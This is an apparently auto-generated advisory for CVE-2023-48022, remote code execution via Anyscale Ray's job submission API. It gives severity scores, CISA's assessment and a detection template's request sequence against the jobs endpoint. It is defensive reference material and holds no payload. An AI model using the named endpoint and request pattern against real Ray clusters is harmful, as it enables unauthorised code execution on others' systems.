CVE-2023-48022: n/a n/a vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

Anyscale Ray 2.6.3 and 2.8.0 allows a remote attacker to execute arbitrary code via the job submission API. NOTE: the vendor’s position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment. (Also, within that environment, customers at version 2.52.0 and later can choose to use token authentication.)

Description quoted from the CVE record (assigned by mitre, published 2023-11-28).

Weakness: CWE-918 Server-Side Request Forgery (SSRF)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses that a public proof of concept exists. Automatable: yes. Technical impact: total.

Anyscale Ray - Command Injection

Anyscale Ray 2.6.3 and 2.8.0 allows a remote attacker to execute arbitrary code via the job submission API. NOTE: the vendor’s position is that this report is irrelevant because Ray, as stated in its documentation, is not intended for use outside of a strictly controlled network environment.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (POST /api/jobs/, GET /, GET /api/jobs/{{jobid}}/logs); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
